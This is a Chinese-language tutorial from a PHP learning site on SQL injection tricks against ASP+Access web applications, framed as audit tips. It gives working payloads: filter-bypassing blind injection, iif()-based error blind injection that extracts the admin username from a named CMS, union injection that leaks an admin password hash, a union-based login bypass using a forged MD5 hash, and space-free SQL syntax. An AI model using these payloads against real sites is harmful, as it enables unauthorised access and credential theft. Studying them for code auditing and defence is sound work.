网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

ASP+ACCESS SQL注射技巧小记 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 随着web安全的热点升级,web应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。相对而言,研究asp应用程序的代码安...

 随着web安全的热点升级,web应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。相对而言,研究asp应用程序的代码安全的人少了很多,毕竟asp不够php那样灵活多变,漏洞类型无非那么几种,本文将分享一些个人收集总结基于ASP+ACCESS环境的SQL注射及审计小技巧,当然肯定还有很多技巧,欢迎补充,抛砖引玉嘛~。
    0x01 当盲注遭遇过滤“<”、“>”、“=”时
    曾读过一些asp系统的代码,有些程序员对于防御SQL注入采用的方法是仅仅过滤“<”、“>”、“=”以及单引号等字符来达到无法猜解数据的目的,殊不知这样的过滤有多种绕过方法,首先想到的是利用“between and”,当然这里不讨论“between and”,给出另外一种小技巧,如以下的SQL语句:
select * from table where id=SQL
        其中的SQL是我们可以构造的部分,同时这个页面对于获取的参数过滤“<”、“>”、“=”并且无法利用union来注射,在不利用“between and”的情况下,我们这样构造:
select * from table where id=1 and (select asc(mid(username,1,1)) from admin where asc(mid(username,1,1)) in(97))
    利用in()来达到判断的目的,语句为判断管理员用户名的第一个字符是否为a,其中的97为字符a的ascii编码。
    0x02 iif()函数在access注射中的应用
    对于一些特殊的注入,ACCESS下的iif()函数还是比较有用的,比如用经典“and 1=1”和“and 1=2”判断注入时,页面返回无差异时,access数据库下无法像mysql那样利用时间差来注射,利用iif()
可以让返回的“无差异页面”差异化……,这里我以南方数据企业网站管理系统 v16的一个注射点为例,先看到代码:
  set rs = server.createobject("adodb.recordset")
  sql="select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc"
  rs.open sql,conn,1,1
  if conn.execute("select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0").eof then
    response.write "暂无相关信息"
  else
    do while not rs.eof
    细心的朋友一眼就能发现注射点,request("Range")带入了两句SQL,注射点比较特殊,可以提交表名,但是因为带入了两句SQL语句,所以利用起来比较麻烦,因为access数据库没有注释符,所以必须用union联合查询来闭合,但是因为带入了两句SQL语句,联合查询在执行:
select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0
      会出现字段数不符报错,因为“select ID from Southidc_”查询的是一个字段,而上一句SQL“select * from Southidc_”查询的是多个字段,因此,无论我们如何构造SQL语句,都没办法使字段数相等,这里我们利用access的iif()函数来强制报错,当查询为真时,会出现字段数不符报错,查询为假时利用iif()函数强制报错爆出另外一个错误,就可以进行盲注判断了。比如提交Range为:
NewsSort where 2=iif((1=1),2,'a') union select * from Southidc_News
    把其中的1=1换成SQL注入语句就可以了,比如提交Range为:
NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=97),2,'a') union select * from Southidc_News

    这个时候报错,如图1:

\

    判断管理员用户名第一个字符是否为a,如果查询为真,就会报错如上图,如果为假,比如我们提交:
NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=98),2,'a') union select * from Southidc_News

    就会报出另外一个我们利用iif函数强制报错爆出的错误,如图2。

\

    2='a'强制类型转换当然会报错了……“标准表达式中数据类型不匹配”。
    0x03 ACCESS也玩“爆库”
    说到ACCESS“爆库”,很多朋友可能会想到access的%5c爆物理路径这个经典的漏洞,但这里不是指这个,而是类似mssql、mysql那样的,通过报错爆出数据库数据,虽然有点小鸡肋。看到某商城系统的一段代码:
<%
Server.ScriptTimeout=20
Response.Charset="gb2312"
scid=Request("scid")
if scid<>"" Then
set Frs=lodo_Execute("Select Lodo_ShopingCar.Gid as Gid,Lodo_ShopingCar.GQuantity as GQuantity,Lodo_OrderForm.OrderState as OrderState,Lodo_OrderForm.OrderPayState as OrderPayState,Lodo_OrderForm.Ordernumber as Ordernumber from Lodo_ShopingCar,Lodo_OrderForm where Lodo_OrderForm.Ordernumber=Lodo_ShopingCar.OrderNum And Lodo_ShopingCar.ID="&scid)
If Not(Frs.Eof Or Frs.Bof) Then
'判断是否支付
if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then
Response.Write "
  • "
            Set Rs=lodo_Execute("Select Top "&Frs("GQuantity")&" Contents from Lodo_CGoods where Status=1 And PurchaseOrder='"&Frs("Ordernumber")&"' And GoodsID="&Frs("Gid"))
            CGnum=0
            Do While Not Rs.Eof And CGnum
    注意到其中的一句代码:
if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then
    把数据库中的数据Frs("OrderState")拿去和4做比较!这样导致的问题是,如果我们通过union查询注入,通过Frs("OrderState")返回的结果,当执行到Frs("OrderState")=4时,程序会报错,同时微软很友好的把报错的数据也显示出来,比如上面的SQL,我们提交scid为:
1 union select 1,2,adminpass,4,5 from lodo_adminuser

通过控制Frs("OrderState")返回结果为管理员密码hash,当执行到Frs("OrderState")=4时,页面会报错,如图3。

\

这样的代码虽然见的不多,但还是有的,这也是其鸡肋之处。

    0x04 “on error resume next”引发的血案
    对于早期的%5c爆access数据库物理路径漏洞,很多程序员的解决方案是在数据库连接文件conn.asp中加入一句容错代码来解决,当然这样做是修复了漏洞,但是可能引发另外的一些问题,看到代码:
conn.asp:
<%   
on error resume next   
connstr = "Provider=microsoft.jet.oledb.4.0;data source="&server.MapPath("inc/db.mdb")
set conn = server.CreateObject("adodb.connection")   
conn.open connstr   
%>
接着看到test.asp的代码:
<%   
id = request("id")   
id = cint(id)   
set rs = server.CreateObject("adodb.recordset")   
sql = "select * from news where id="&id  
rs.open sql,conn,1,3   
response.write rs("news")   
rs.close   
set rs = nothing   
%>   
<%set conn = nothing%>  
    这段代码看似没有漏洞,其实是存在SQL注入的,原因是如果conn.asp没有添加“on error resume next”容错语句的话,我们提交的id如果不为int型,test.asp页面会报错并终止执行,但如果conn.asp有“on error resume next”容错语句,test.asp页面不会报错,而是跳过id = cint(id)报错语句继续执行!最终导致的结果是,过滤失效,SQL注入、逻辑漏洞等等问题。
    0x05 新型万能登陆密码
    “万能密码”相信搞入侵的朋友不会陌生,诸如此类“'or'='or'”、“' or ''='”,漏洞原理比较简单,比如下面的SQL:
sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"
    其中的username变量和password变量可控,当我们提交username为“' or ''='”,密码任意时可以直接绕过验证登陆系统,为了应对此类漏洞,很多程序员采用下面的写法:
<%
dim LoginName,LoginPassword,AdminName,Password,AdminPurview,Working,UserName,rs,sql,mycode
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
mycode = trim(request.form("code"))
set rs = server.createobject("adodb.recordset")
sql="select * from admin where AdminName='"&LoginName&"'"
rs.open sql,conn,1,3

if rs.eof then
   response.write ""
   response.end
else
   AdminName=rs("AdminName")
   Password=rs("Password")
   AdminPurview=rs("AdminPurview")
   Working=rs("Working")
   UserName=rs("UserName")
end if

if LoginPassword<>Password then
   response.write ""
   response.end
end if 
'登陆成功代码省略
    以上代码虽然解决了“万能密码”登陆漏洞,但是没有从根本上解决SQL注入问题,虽然把用户提交的密码Password与数据库查询返回密码rs("Password")做了置后比较,但是如果我们可以通过SQL控制rs("Password")的返回结果,就可以通过“新型万能密码”登陆了,比如以上代码,我们提交LoginName为:
' union select 1,2,'268a5c2004f54de708ee2ce0dac3c411',4,5,6 from admin where '1'='1
    密码为:my5t3ry就可以直接登陆系统了,其中268a5c2004f54de708ee2ce0dac3c411为my5t3ry的MD5加密hash,union select 后的字段数要与admin表匹配,Password在表中的第3列,因此替换3为MD5,通过SQL注入控制rs("Password")的返回结果,实现了“新型万能密码”。
    0x06 不使用空格的SQL语句
    SQL注入的时候,可能遇到过滤空格的情况,比如正常的SQL语句select id from table,经过过滤之后,变为selectidfromtable,语句都挤到一块去了,最终导致注入失败。在access下,可以利用()[]等来避免使用空格,上面的语句可以这样写:
select(id)from[table]where[id]=1
这样就避免了空格,另外在mssql下还可以用%09、%0D0A等字符来替代空格,access也是可行的。
    最后,关于ASP+ACCESS环境的SQL注射及审计小技巧就分享到这里,欢迎各位朋友拍砖,另外,本文参考了oldjun、gogorq、寂寞的刺猬等大牛的文章,在此谢过

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论